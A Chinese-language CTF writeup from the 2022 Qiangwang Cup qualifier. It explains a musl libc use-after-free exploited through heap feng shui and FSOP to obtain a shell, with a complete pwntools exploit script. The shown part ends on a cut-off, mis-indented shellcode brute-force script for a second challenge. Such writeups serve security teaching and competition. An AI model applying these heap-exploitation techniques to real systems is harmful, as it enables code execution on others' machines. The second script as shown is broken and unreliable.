2022 强网杯初赛 Writeup By Xp0int

xp0int Posted on Aug 1 2022

## 1. Pwn

### 1.1 UserManager

`Author: xf1les`

`insert`函数存在 UAF 漏洞。当新创建的 user `id` 与 `users` 指向的相同时，`insert()`会释放`users` 指向的 user ，但没有清空指针。

![title](https://leanote.com/api/file/getImage?fileId=62e78586ab6441083771fef1)

libc 环境是 `musl libc 1.2.2`。libc.so 似乎是出题人自己编译的，没有带调试信息。从后面泄露的内存地址判断，程序运行方式是 `./libc.so ./UserMananger`。

前些日子写了一个解析 musl libc 堆管理器的 gdb 插件 [musl heap](https://github.com/xf1les/muslheap/blob/master/muslheap.py)，做这道题的时候刚好派上用场。因为 libc.so 没有带调试信息，想到了一个比较粗暴的方法来强制加载插件：其实插件只需 musl libc 结构体定义（可以从同版本 libc.so调试符号里获取）和`__malloc_context`的地址就能正常使用。
首先通过逆向`malloc()`汇编代码获得`__malloc_context`的偏移（这里是 0xb4ac0），然后将插件源码的`check_mallocng()`改为：

![title](https://leanote.com/api/file/getImage?fileId=62e78668ab6441083771fefa)

最后下载一个带调试信息的同版本 libc.so，GDB 调试程序的时候用`file`命令加载这个 libc.so 的调试信息，就能使用插件提供的命令了。

![title](https://leanote.com/api/file/getImage?fileId=62e7867cab6441083072791e)

解题思路是利用 UAF 修改 user ，将 fake_file 地址写到`ofl_head`上，然后堆风水构造 fake_file ，最后调用`exit()`在 fake_file 上触发 IO 操作，执行`system("sh")` get shell。

![title](https://leanote.com/api/file/getImage?fileId=62e786afab6441083771fefe)

user 结构体如上。只需修改`fwd`指针，然后`insert()`调整链表时就会把 user 地址写到任意地址上（原理接近于 glibc 下的 Large bin attack）。利用这个方法修改`ofl_head`。

![title](https://leanote.com/api/file/getImage?fileId=62e786d2ab64410830727924)

mallocng 堆块分配规则（详细见[这篇文章](https://blog.xf1les.net/2022/04/20/starctf2022-babynote-writeup/#23-%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F)）：
```
1. 已释放 slot 不会马上重用，直到active[sc]当前指向的 meta g没有可分配 slot
2. 如果g没有可分配 slot，mallocng 将active[sc]指向g->next，将g->next已释放 slot 设置为可分配，然后从g->next分配 slot 给用户
3. 接上一条，如果g连已释放 slot 都没有（所有 slot 已被占用），mallocng 还会将g移出active链表
```
修改`ofl_head`所进行的堆风水流程如下：
```
# Heap fengsui 0x1
add(0x6873, 0x38) 
add(0x6873, 0x38) # **BUG**, now idx=0x6873 is freed
add(2, 0x38)
add(1, 0x80-4)
add(0, 0x80-4)    # <- Slot status map: UUUUU[A]U (idx=0x6873 user)
```
首先创建一个 id 为 `0x6873` (即`"sh"`) 的 user，然后再次创建同 id 的 user。这时原先的 user 会被`insert()`释放（`users`仍然指向这个 user）。通过创建多个 user，使 group 上只有 id=`0x6873` user 所在的 slot 可用，这样下次创建 user 时就能分配并修改到它（因为程序是先分配 UserName，再分配 user ）。

![title](https://leanote.com/api/file/getImage?fileId=62e7876cab6441083771ff04)

创建另一个同 id 的 user（地址为 fake_file），这时可以修改`users`指向 user 的`fwd`指针为 `&ofl_head-0x20`。之后`insert()`会将 fake_file 地址写入到`ofl_head`上。

```Python
# Overwrite idx=0x6873 userinfo, corrupt `ofl_head` to &fake_file
payload = flat([0x6873, 0, 0, 2, 0xDEADBEEF, ofl_head-0x20]) # fake_file[0] = "sh"
add(0x6873, 0x38, payload) # <- fake_file
```
最后利用类似的手法参照[这篇文章](https://www.anquanke.com/post/id/202253#h3-13)布置好 fake_file 的各个字段即可。

***

EXP 代码：
```Python
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

libc = ELF("./libc.so")
code = None

p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) 
p_s  = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)

libc_os = lambda x : libc.address + x
code_os = lambda x : code + x

###########

p = process(["./libc.so", "./UserManager"])
# ~ p = remote("123.56.105.22", 28165)

def add(id, sz, ctx='A'):
    p_sl(1, ": ")
    p_sl(id, "Id: ")
    p_sl(sz, "UserName length: ")
    p_sl(ctx, "UserName: ")
    
def show(id):
    p_sl(2, ": ")
    p_sl(id, "Id: ")
    
def free(id):
    p_sl(3, ": ")
    p_sl(id, "Id: ")

def clear():
    p_sl(4, ": ")

add(0, 0x100) # discard this 0x40 slot, we do not need it
clear()

# Heap fengsui 0x1
add(0x6873, 0x38) 
add(0x6873, 0x38) # **BUG**, now idx=0x6873 is freed
add(2, 0x38)
add(1, 0x80-4)
add(0, 0x80-4)    # <- Slot status map: UUUUU[A]U (idx=0x6873 user)

# Leak codebase, libcbase
show(0x6873)
p.recv(8)
code = u64(p.recv(8)) - 0xf30
info("codebase: 0x%lx", code)
p.recv(8)
p.recv(8)
libc.address = u64(p.recv(8)) - 0xb7de0
info("libcbase: 0x%lx", libc.address)

ofl_head = libc_os(0xB6E48)
system   = libc_os(0x50A90)

# Overwrite idx=0x6873 user, corrupt `ofl_head` to &fake_file
payload = flat([0x6873, 0, 0, 2, 0xDEADBEEF, ofl_head-0x20]) # fake_file[0] = "sh"
add(0x6873, 0x38, payload) # <- fake_file
clear()

add(10, 0x38, p64(system)*6) # (fake_file+0x40) fake_file->write = system

# Heap fengsui 0x2
add(11, 0x100)
add(11, 0x100) # **BUG**, now idx=11 (fake_file+0x80 and fake_file+0xa0) is freed
add(9, 0x38)
add(8, 0x100)  # <- Slot status map: UUU[F]UUU (fake_file+0xa0)

# Overwrite idx=11 user (fake_file+0xa0), free fake_file+0x80
payload = flat([11, code_os(0xcc0), 0, 2, 0xDEADBEEF, 0])
add(11, 0x38, payload) 
clear()

add(7, 0x38)
add(6, 0x38)
add(5, 0x38)
add(4, 0x38, '\x00'*0x38) # (fake_file+0x80) fake_file->lock = 0,
                          #    to make `FFINALLOCK()` in `close_file()` happy

# Call `exit(0)` to execute `system("sh")` (FSOP)
p.send('\n')

p.interactive()
```

### 1.2 yakacmp
`Author: c1ark`
程序是一个C++编写的64位虚拟机，在一系列mov指令中存在mov一个立即数到寄存器上的操作，在最后解析的时候，可以利用该立即数写入四字节shellcode，程序开了沙盒，只允许使用read，open，exit，所以只能逐字节爆破。最后因为时延问题爆破了几次得到相似的flag，需要最后整合验证一下。

![title](https://leanote.com/api/file/getImage?fileId=62e78802ab6441083072792e)

```Python
#!/usr/bin/python
# -*- coding: UTF-8 -*-

from pwn import *
import string
#context(os='linux', arch='amd64',log_level='debug')
#context.aslr = False
context.terminal =['tmux', 'splitw', '-h']

filename="./yakacmp"
gdbscript="""
b *$rebase(0x3e0a)
c
"""
# b *$rebase(0x2a4e)
# b *$rebase(0x2ce9)
# b *$rebase(0x2d5f)

# debug = 1

# if debug:
#   p=gdb.debug(filename,gdbscript)

# else:
#   p=process(filename)
#   #p = remote("127.0.0.1",11111)
#   #pause()
#   pass

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info_addr = lambda tag, addr        :p.success(tag + ': {:#x}'.format(addr))

# asm("mov rdi,rsp") 'H\x89\xe3'
# asm("mov rax,rdi") 'H\x89\xf8'
# asm("mov ax,0x1010") 'f\xb8\x10\x10'
# asm("shl rax,16") 'H\xc1\xe0\x10'
# asm("shr rsi,48") 'H\xc1\xee0'
# >>> hex(ord(asm("push rsp")))
# '0x54'
# >>> hex(ord(asm("pop rdi")))
# '0x5f'
# >>> hex(ord(asm("push rcx")))
# '0x51'
# >>> hex(ord(asm("pop rsi")))
# '0x5e'
# >>> asm("je $")
# 't\xfe'
# >>> asm("cmp byte ptr [rsi],1")
# '\x80>\x01'
# >>> asm("add si,1")
# 'f\x83\xc6\x01'

# syscall \x0f\x05
# pop rbx 0x5b
# push rbx 0x53
# push rax 0x50
# pop rdi 0x5f
# push rdi 0x57

def pwn(char,num):
    code = "add r2,r2"
    sla("now\n",code)

for i in range(10):
        sla("more operation?","mov r3,r2")

sla("more operation?","mov r1,r2")
    
    payload = 0x0067b8666761b866 # mov ax,0x67 g